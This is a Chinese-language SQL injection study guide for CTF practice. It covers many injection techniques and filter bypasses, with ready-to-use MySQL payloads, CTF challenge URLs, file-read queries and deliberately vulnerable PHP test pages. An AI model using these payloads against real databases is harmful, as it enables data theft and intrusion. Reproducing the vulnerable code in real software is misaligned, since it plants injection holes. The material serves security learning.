SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
mysql基础知识
字符串截取函数
1 | left(str,len) //从左边开始截取len个字符 |
字符串比较
1 | strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1 |
字符串连接函数
1 | concat(str1,str2) //将字符串首尾相连 |
一些绕过注入的罕见函数
1 | instr(str1,substr) //从子字符串中返回子串第一次出现的位置 |
运算符
算术运算符
1 | + - * / |
比较运算符
1 | = <> != > < |
逻辑运算符
1 | not或! 非 |
位运算符
1 | & 按位与 |
注释符
1 | # //单行注释符,url记得编码为%23 |
常用函数
延时函数
1 | sleep(duration) //暂停duration秒 |
编码函数
1 | CONV(N,from_base,to_base) //N是要转换的数据,from_base是原进制,to_base是目标进制 |
文件函数
1 | ?id=1' union select 1,2,load_file('/etc/init.d/httpd') //读取文件 |
一些构造语句
条件语句
1 | if(expr1,expr2,expr3) // expr1 true执行expr2否则执行expr3 |
基本信息
1 | user():当前数据库用户 |
手工注入基本流程
MySQL >= 5.0
获取字段数
1 | order by n |
获取当前数据库名
1 | select null,null,...,database() |
获取数据库中的表
1 | select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database() |
获取表中的字段
1 | select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users |
OX5 获取各个字段值
1 | select null,group_concat(username,password) from users |
注入类型
堆叠查询
来自于强网杯的第三届强网杯的一题
题目过滤了查询删除更新插入等语句
查看表名
1 | http://117.78.39.172:31796/?inject=0';show tables; |
查看字段
1 | http://117.78.39.172:31796/?inject=0';desc `1919810931114514`; |
查看数据
1 | http://117.78.39.172:31796/?inject=0';show tables;SET @haha_test = CONCAT('S','ELECT * from `1919810931114514`');PREPARE pr2 FROM @haha_test;EXECUTE pr2 ; |
[SUCTF 2019]EasySQL
后台sql语句如下
1 | select $_GET['query'] || flag from flag |
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
时间盲注
时间盲注格式
1 | and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=97),sleep(5),0) |
get
1 | # -*- coding: utf-8 -*- |
0x2post
1 | # -*- coding: utf-8 -*- |
布尔盲注
0x1 布尔盲注语句
1 | and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/ |
0x2 爆数据库
1 | import requests |
0x 爆表
1 | import requests |
0x 爆字段
1 | import requests |
0x 爆数据
1 | import requests |
报错注入盲注
简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。
可参考此文章:http://www.plasf.cn/articles/spatial_functions_blind_inject.html
报错注入
0X1 floor()和rand()
原理:https://blog.csdn.net/qq_35544379/article/details/77453019
1 | union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/ |
0X2 ExtractValue(有长度限制,最长32位)
原理: https://www.cnblogs.com/xishaonian/p/6250444.html
1 | id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) |
0X3 UpdateXml(有长度限制,最长32位)
原理: https://www.jb51.net/article/125599.htm
1 | id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) |
0X4 exp()
原理:https://www.cnblogs.com/lcamry/articles/5509124.html
1 | and EXP(~(SELECT * from(select user())a)) |
0X5 geometrycollection()
1 | id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) |
0X6 polygon()
1 | id =1 AND polygon((select * from(select * from(select user())a)b)) |
0X7 multipoint()
1 | id = 1 AND multipoint((select * from(select * from(select user())a)b)) |
0X8 multilinestring()
1 | id = 1 AND multilinestring((select * from(select * from(select user())a)b)) |
0X9 linestring()
1 | id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) |
0X10 multipolygon()
1 | id =1 AND multipolygon((select * from(select * from(select user())a)b)) |
注入方式
limit 注入
此方法适用于MySQL 5.x中,在limit语句后面的注入
详情可看: https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html
注入姿势
报错注入
1 | SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
时间注入
1 | SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) |
测试代码
1 | <?php |
宽字节注入
详细可看:https://xz.aliyun.com/t/1719
在我们正常情况下使用addslashes函数或是开启PHPGPC(注:在php5.4已上已给删除,并且需要说明特别说明一点,GPC无法过滤$_SERVER
提交的参数)时过滤GET、POST、COOKIE、REQUSET 提交的参数时,黑客们使用的预定义字符会给转义成添加反斜杠的字符串如下面的例子
1 | %df%27===(addslashes)===>%df%5c%27===(数据库GBK)===>運' |
注入姿势:
1 | id=%df'order by 1 %23 |
题目
1 | <?php |
笛卡尔积注入
笛卡尔积是指在数学中,两个集合X和Y的笛卡尓积(Cartesian product),又称直积,表示为X × Y,第一个对象是X的成员而第二个对象是Y的所有可能有序对的其中一个成员。
payload
1 | select * from admin where id = 1 and 1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C); |
你完全可以按照这个规律,从C后面加个逗号,写D,E等等等,想写多少就写多少,但是写的越多查询的速度就会越慢,如果在表或者列数量很少的情况下,可以写的多一点。
到浏览器实践一下,发现确实延迟了。
mysql约束攻击
详情看:https://ch1st.github.io/2017/10/19/Mysql%E7%BA%A6%E6%9D%9F%E6%94%BB%E5%87%BB/
出现在注册用户时,对用户名参数的多余空格没有过滤。利用了在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断。
1 | create table user(id int primary key, user varchar(10),pwd varchar(20)); //创建一个表 |
order by 注入
详细看http://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html
0x1 利用报错
1 | 利用regexp |
0x2 基于盲注
1 | 注意如果直接if(1=2,1,SLEEP(2)),sleep时间将会变成2*当前表中记录的数目,将会对服务器造成一定的拒绝服务攻击 |
0x3 sqlmap
sqlmap测试
在没有过滤的情况下是能够检测到注入的
测试样题
index.php
1 | <?php |
sql
1 | create database sqlidemo; |
MD5注入
详细可看http://blog.lvguangfa.cn/ctf/135.html
当php中使用到 md5($str,true) 输出md5值时,二进制被HEXdecode后可能会包含例如’or 1#的字符,从而产生sql注入
先看php中的md5函数,它有两个参数string和raw。
第一个参数string是必需的,规定要计算的字符串。
第二个参数raw可选,规定十六进制或二进制输出格式:
TRUE - 原始 - 16 字符二进制格式
FALSE - 默认 - 32 字符十六进制数
注入姿势:
1 | password=129581926211651571912466741651878684928 //T0Do#'or'8 |
测试题目
1 | <?php |
insert、update和delete报错注入
传统insert、update和delete报错注入
新式MySQL Injection in Update, Insert and Delete
0x1 传统利用方式
0x 1.1 insert
1 | 这里我们用updatexml来演示 |
0x1.2 update
1 | mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5; |
0x1.3 delete
1 | mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or ''; |
0x2 新式利用
语句格式
1 | select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10); |
0x2.1 update
1 | update emails set email_id='osanda'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16, 10) where id='16'; |
0x2.2 Insert
1 | insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16, 10); |
0x2.3 Limitations in MySQL 5.7
1 | update ignore users set username = 'osanda' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) where id=14; |
二次注入
详细可看此文章:MySQL注入系列之二次注入(三)
测试代码
config.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 <?php
mysql_connect('localhost', 'root', 'mysql');
mysql_select_db('sqlinject');
mysql_set_charset('utf-8');
if (!get_magic_quotes_gpc()){
if (!empty($_GET)){
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST)){
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
function addslashes_deep($value){
if (empty($value)){
return $value;
}else {
return is_array($value) ? array_map('addslashes_deep', $value): addslashes($value);
}
}
?>
reg.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 <?php
include "config.php";
if(!empty($_POST['submit'])){
$username = $_POST['username'];
$password = $_POST['password'];
$email = $_POST['email'];
$sql = "INSERT INTO `sqlinject`.`users` (`id`, `username`, `password`, `email`)
VALUE (NULL, '$username', '$password', '$email');";
$row = mysql_query($sql);
if ($row){
echo "注册成功";
} else {
echo "注册失败";
}
}
?>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<form action="" method="POST">
username<input type="text" name="username"><br/>
password<input type="text" name="password"><br/>
email<input type="text" name="email"><br/>
<input type="submit" name="submit" value="ok">
</form>
search.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27 <?php
include "config.php";
if(!empty($_POST['submit'])){
$email = $_POST['email'];
$sql = "select * from users where email='{$email}'";
$row = mysql_query($sql);
if ($row){
$rows = mysql_fetch_array($row);
$username = $rows['username'];
$sql = "select * from users where username='$username'";
$row = mysql_query($sql) or die(mysql_error());
if ($row){
$rows = mysql_fetch_array($row);
echo $rows['username']."<br/>";
echo $rows['password']."<br/>";
echo $rows['email']."<br/>";
}
}
}
?>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<form action="" method="POST">
search email<input type="text" name="email"><br/>
<input type="submit" name="submit" value="ok">
</form>
dns注入
DNSLOG 注入 ¶
DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
dnslog 平台:http://ceye.io/
1 | mysql> use security; |
sprintf注入
1,sprintf(),函数是php中的函数
2,作用是将格式化字符串写入变量中
3,函数形式为sprintf(format,arg1,arg2,arg++)
参数说明:
若%符号多于arg参数,则需要占位符,占位符格式为“%number$” 其中number表示该项与第几个arg匹配,如若与第一个匹配 则占位符为“%1$”
sprintf注入的原理就是:
我们用一个15种类型之外的 "\"
来代替格式字符类型让函数替换为空,则“%1$\'”
后面的单引号就能闭合前面的单引号 。
如果我们输入"%\"
或者"%1$\"
,他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\"
,"%1$\"
就因为没有经过任何处理而被替换为空。
简单的说就是sprintf中%1$'会将\吃掉,导致’的逃逸。%后表示第几个参数,$表示参数类型。
还有一个sprintf漏洞的利用方式:%c起到了类似chr()的效果,将数字39转化为’,从而导致了sql注入。
例子:
1 |
|
结果
1 | %1$\' and 1=1# |
另一个例子:
1 |
|
结果:
1 | SELECT * FROM foo WHERE bar IN (' %1$c) OR 1 = 1 /* ') AND baz = %s |
REGEXP注入分析
使用场景:
1 | 过滤了=、in、like |
^若被过滤,可使用$来从后往前进行匹配
常用regexp正则语句:
1 | regexp '^[a-z]' #判断一个表的第一个字符串是否在a-z中 |
LIKE注入分析
like匹配
百分比(%)通配符允许匹配任何字符串的零个或多个字符。下划线_通配符允许匹配任何单个字符。
1.like ‘s%’判断第一个字符是否为s
1 | union select 1,database() like 's%',3 --+ |
2.like ‘se%’判断前面两个字符串是否为se
1 | union select 1,database() like 'se%',3 --+ |
3.like ‘%sq%’ 判断是否包含se两个字符串
1 | union select 1,database() like '%se%',3 --+ |
4.like ‘_____’判断是否为5个字符
1 | union select 1,database() like '_____',3 --+ |
5.like ‘s____’ 判断第一个字符是否为s
1 | union select 1,database() like 's____',3 --+ |
无列名注入
详情可看:https://zhuanlan.zhihu.com/p/98206699
1 | select b from (select 1,2,3 as b union select * from admin)a; |
例题1:
SWPUCTF 2019
发现数据库的报错信息,证明存在注入。
简单测试了一下,空格 和 or 被过滤,报错过滤了extractvalue 和 updatexml,于是考虑用 union 联合注入。查表名时由于过滤or,所以information_schema无法使用。
但Mysql5.6及以上版本中mysql的 innodb_index_stats 和innodb_table_stats这两个表中都包含所有新创建的数据库和表名
也可以用 sys.schema_auto_increment_columns 来注表名
1 | 111'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,' |
innodb_index_stats 和innodb_table_stats
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
表名 ads 和 users
但是不知道列名,只能用无列名注入的方式,另外还过滤了反引号,用别名aaa来代替,payload:
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select * from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
例题2:
MySQL堆叠注入预处理
PDO场景下的SQL注入探究:https://xz.aliyun.com/t/3950。
PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为true时可能会造成堆叠注入。
如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false
1 | new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false)) |
PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。
[SWPU2019]Web4
由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。
1 | mysql> select hex('select sleep(5)'); |
脚本
1 | import requests |
mysql8新特性注入
详情可看此文章:https://www.anquanke.com/post/id/231627
作用:列出表中全部内容
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
1 | mysql> table users; |
与SELECT的区别:
1 | 1.TABLE始终显示表的所有列 |
VALUES statement
作用:列出一行的值
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] |
VALUES是把一组一个或多个行作为表展示出来,返回的也是一个表数据。
ROW()返回的是一个行数据,VALUES将ROW()返回的行数据加上字段整理为一个表,然后展示
1 | mysql> VALUES ROW(1, 2, 3); |
场景:select关键词被过滤,多语句无法使用
1.判断列数
由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数
1 | TABLE users union VALUES ROW(1,2,3); |
2.使用values判断回显位
1 | select * from users where id=-1 union values row(1,2,3); |
3.列出所有数据库名
1 | table information_schema.schemata; |
4.盲注查询任意表中的内容
语句table users limit 1;的查询结果:
1 | mysql> table users limit 1; |
实质上是(id, username, password)与(1, ‘Dumb’, ‘Dumb’)进行比较,比较顺序为自左向右,第一列(也就是第一个元组元素)判断正确再判断第二列(也就是第二个元组元素)。
两个元组第一个字符比大小,如果第一个字符相等就比第二个字符的大小,以此类推,最终结果即为元组的大小。
1 | mysql> select ((1,'','')<(table users limit 1)); |
需要注意的地方
1.当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!
2.最好用<=替换<,用<比较一开始并没有问题,但到最后一位时结果为正确字符的前一个字符,用<=结果更直观。
最终判断过程如下:
1 | mysql> select ((1,'Dumb','Dumb')<=(table users limit 1)); |
例题:
1.判断列数
使用经典的order by语句判断:
1 | 1' order by 3--+ #正常 |
说明有3列
2.使用values判断回显位
1 | -1' union values row(1,2,3)--+ |
3.爆库爆表爆字段爆数据
(1)爆当前数据库
1 | -1' union values row(1,database(),3)--+ |
(2)爆所有数据库
因为table不能像select控制列数,除非列数一样的表,不然都回显不出来。
需要使用table查询配合无列名盲注
information_schema.schemata表有6列
因为schemata表中的第一列是def,不需要判断,所以可以直接判断库名
1 | 1' and ('def','m','',4,5,6)<=(table information_schema.schemata limit 1)--+ #回显正常 |
说明第1个数据库名为mysql
1 | 1' and ('def','information_schema','',4,5,6)<=(table information_schema.schemata limit 1,1)--+ #回显正常 |
一直猜解,直到获得全部数据库名
(3)爆数据表
information_schema.tables表有21列
1 | 1' and ('def','security','users','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit 317,1)--+ #第一个表users |
前两个字段都是确定的,可以写一个for循环判断,如果结果为真,代表从那行开始(这里是limit 317,1,即第318行),然后盲注第三个列。
(4)爆字段名
information_schema.columns表有22列
得到所有表名后开始判断字段名,找到columns表,具体方法和上面一样
1 | 1' and ('def','security','users','id','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<=(table information_schema.columns limit 3386,1)--+ #users表第一个字段为id |
(3)爆数据
1 | 1' and (1,'D','')<=(table users limit 1)--+ #正常 |
得到第1个记录为1 Dumb Dumb
1 | 1' and (8,'admin','admin')<=(table users limit 7,1)--+ #正常 |
得到第8个记录为8 admin admin
一步一步注出数据
脚本
1 | ''' |
handler
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。
用法:
HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
HANDLER tbl_name CLOSE来关闭打开的句柄。
最后
1 | 1'; |
异或布尔注入
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。
mysql里异或运算符为^ 或者 xor
1 | 两个同为真的条件做异或,结果为假 |
例题:
[Black Watch 入群题]Web
exp
1 | import requests |
sql注入绕过
过滤空格
1.使用注释符/**/
绕过
1 | SELECT/**/name/**/FROM/**/table |
2.使用url编码绕过
1 | %a0 发出去就是空格的意思,但是需要在burp中抓包后修改 |
3.使用浮点数绕过
1 | select * from users where id=8E0union select 1,2,3 |
4.使用Tab替代空格
5.使用两个空格替代一个空格
6.使用括号绕过
如果空格被过滤,括号没有被过滤,可以用括号绕过。 在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
1 | select(user())from dual where(1=1)and(2=2) |
这种过滤方法常常用于time based盲注,例如:
1 | ?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23 |
过滤引号
使用16进制绕过
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
1 | select column_name from information_schema.columns where table_name="users" |
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。 users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
1 | select column_name from information_schema.columns where table_name=0x7573657273 |
过滤逗号
1.使用from关键字绕过
对于substr()和mid()这两个方法可以使用from to的方式来解决:
1 | select substr(database() from 1 for 1); |
2.使用join关键字绕过
1 | union select 1,2 |
3.使用like关键字绕过
1 | select ascii(mid(user(),1,1))=80 #等价于 |
4.使用offset关键字绕过
对于limit可以使用offset来绕过:
1 | select * from news limit 0,1 |
过滤注释符( # 和 – )
手动闭合引号,不使用注释符
1 | id=1' union select 1,2,3||'1 |
或者:
1 | id=1' union select 1,2,'3 |
过滤比较符号 ( < 和 > )
1.使用greatest()、least()函数绕过
greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了
最常见的一个盲注的sql语句:
1 | select * from users where id=1 and ascii(substr(database(),0,1))>64 |
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值
那么上面的这条sql语句可以使用greatest变为如下的子句:
1 | select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 |
- 使用between and绕过
between a and b:返回a,b之间的数据,不包含b。
过滤等号( = )
使用like 、rlike 、regexp 或者 使用< 或者 >
过滤union,select,where等
1.使用注释符绕过
常用注释符:
1 | //、--、/**/、#、--+、---、;、%00、--a |
用法:
1 | U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user |
2.使用大小写绕过
1 | id=-1'UnIoN/**/SeLeCT |
3.使用内联注释绕过
1 | id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()# |
4.使用双关键字绕过(若删除掉第一个匹配的union就能绕过)
1 | id=-1'UNIunionONSeLselectECT1,2,3–- |
5.使用加号+拆解字符串
1 | or 'swords' ='sw' +'ords' ;EXEC('IN' +'SERT INTO'+'…..' ) |
6.使用语法新特性绕过屏蔽select
在MySQL 8.0.19版本后,mysql推出了一些新特性,使我们可以不使用select就能够取数据
TABLE 语句
可以直接列出表的全部内容
1 | TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]] |
TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT。
支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数。
如 select * from user 就可以用 table user 替代来进行绕过
VALUES 语句
可以列出一行的值
1 | VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number] |
例如直接列出一行的值
1 | VALUES ROW(1,2,3), ROW(4,5,6); |
VALUES和TABLES语句的结果都是表数据,可以结合起来使用
其他
使用多语句的方式执行
1 | set @a:=0x73656c656374202a2066726f6d2074657374; |
https://lgf.im/posts/security/web-security/bypass-tech-for-sql-injection-keyword-filtering/
例题
[CISCN2019 总决赛 Day2 Web1]Easyweb
访问robots.txt,得知有bak备份
image.php.bak
1 | <?php |
addslashes()函数,这个函数会把特殊的字符转义。
比如:单引号会被转义成’,斜杠会转义为.
第十行的str_replace会把”\0”,”%00”,”\‘“,”‘“中的任意一个替换成空。
我们可根据这个绕过当传入id=\0时,这样会被转义成\0,然后\0被替换为空,只剩下了一个\,这个反斜杠正好可以转义后面的查询语句中闭合id的单引号。
1 | select * from images where id='\' or path=’+{$path}’ |
所以我们可以在path处注入我们的新语句,
由于没有查询结果回显,所以此处是盲注
1 | import requests |
可看此文章
https://www.cnblogs.com/Vinson404/p/7253255.html
参考文章:
史上最水的MYSQL注入总结:https://xz.aliyun.com/t/3992
sql注入总结: https://xz.aliyun.com/t/2869#toc-12
ctfwiki: https://ctf-wiki.github.io/ctf-wiki/web/sqli/#_13
一种新的MySQL下Update、Insert注入方法https://www.anquanke.com/post/id/85487
解析php sprintf函数漏洞 https://blog.csdn.net/WQ_BCJ/article/details/85057447
PHP sprintf格式化字符串漏洞 https://mp.weixin.qq.com/s/eEJPvbH7xwINjQvJGY_A_A
REGEXP注入与LIKE注入学习笔记https://xz.aliyun.com/t/8003